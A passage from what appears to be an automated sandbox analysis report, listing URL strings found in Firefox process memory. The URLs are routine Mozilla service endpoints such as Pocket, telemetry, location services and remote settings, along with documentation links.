Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordstrans
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1Script
Source: firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001A.00000002.2920935339.000001F5D7740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.comP4O
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA954000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3007478563.000001F5E357B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2979130872.000001F5DCF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775BC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2979130872.000001F5DCF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775BC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775B2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2180000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2180000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2180000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2180000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2180000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2180000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2180000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA92E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2966905392.000001F5DA917000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2979130872.000001F5DCF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775BC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2180000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2997556881.000001F5E20CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2180000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morediscoverystream.personalization.enabled
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morehttps://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2966905392.000001F5DA92E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2979130872.000001F5DCF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775BC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA954000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsimprovesearch.noDefaultSearchTiletelemetry.structuredIngestion.
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 0000001A.00000002.2916904848.000001F5D6C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 0000001A.00000003.2859805573.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3001723080.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001A.00000003.2862952465.000001F5E2270000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2862536752.000001F5E2279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000001A.00000003.2862952465.000001F5E2270000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2862536752.000001F5E2279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000001A.00000002.3001723080.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 0000001A.00000002.3001723080.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA954000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2777830670.000001F5D973C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778891754.000001F5D9777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2955392353.000001F5D9990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2769996475.000001F5D9500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2777223406.000001F5D971F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778516535.000001F5D975A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsshims/microsoftVirtualAssistant.jsexperiment-apis/abo
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA954000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: firefox.exe, 0000001A.00000002.2997556881.000001F5E2083000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000001A.00000002.2997556881.000001F5E2083000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D26000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000001A.00000002.3011560963.0000035AA7C04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000001A.00000002.2997556881.000001F5E2083000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001A.00000002.2898015922.000001F5C9B11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881jar:file
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2875199555.0000014CC86C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775BF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001A.00000002.2901864507.000001F5D54F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA954000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3007478563.000001F5E3513000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2966905392.000001F5DA92E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA954000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submitsection.highlights.includeDownloadsimprovesearch.topSit
Source: firefox.exe, 0000001A.00000002.3001723080.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001A.00000002.3001723080.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 0000001A.00000002.3001723080.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 0000001A.00000002.3001723080.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 0000001A.00000002.2955760839.000001F5D9B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA838000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001A.00000002.2961522707.000001F5DA415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%pack=buttonpack
Source: firefox.exe, 0000001A.00000002.2955760839.000001F5D9B30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2961522707.000001F5DA4A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2948051359.000001F5D945D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA838000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA954000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3012593775.00000D3B64053000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2979130872.000001F5DCF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3013353841.00001E9753103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA954000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comH
Source: firefox.exe, 0000001A.00000002.2973623994.000001F5DBE0D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2966905392.000001F5DA92E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2979130872.000001F5DCF6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA92E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.comresource://normandy/lib/PrefUtils.sys.mjs2e1fac17-9068-4561-b72a-c1
Source: firefox.exe, 0000001A.00000002.2920935339.000001F5D7797000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2933620276.000001F5D8F2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2916904848.000001F5D6C21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6AD4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783930900.000001F5D8F1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784354552.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783358130.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sFailed
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sPdfJs.init
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783930900.000001F5D8F1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784354552.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783358130.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000001A.00000002.2920935339.000001F5D7797000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2933620276.000001F5D8F2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2902855441.000001F5D597D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783930900.000001F5D8F1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784354552.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783358130.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/mod
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2966905392.000001F5DA92E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2898015922.000001F5C9BD7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2875199555.0000014CC8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA92E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestNot
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2920935339.000001F5D77B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903734560.000001F5D5C0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2948051359.000001F5D942B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
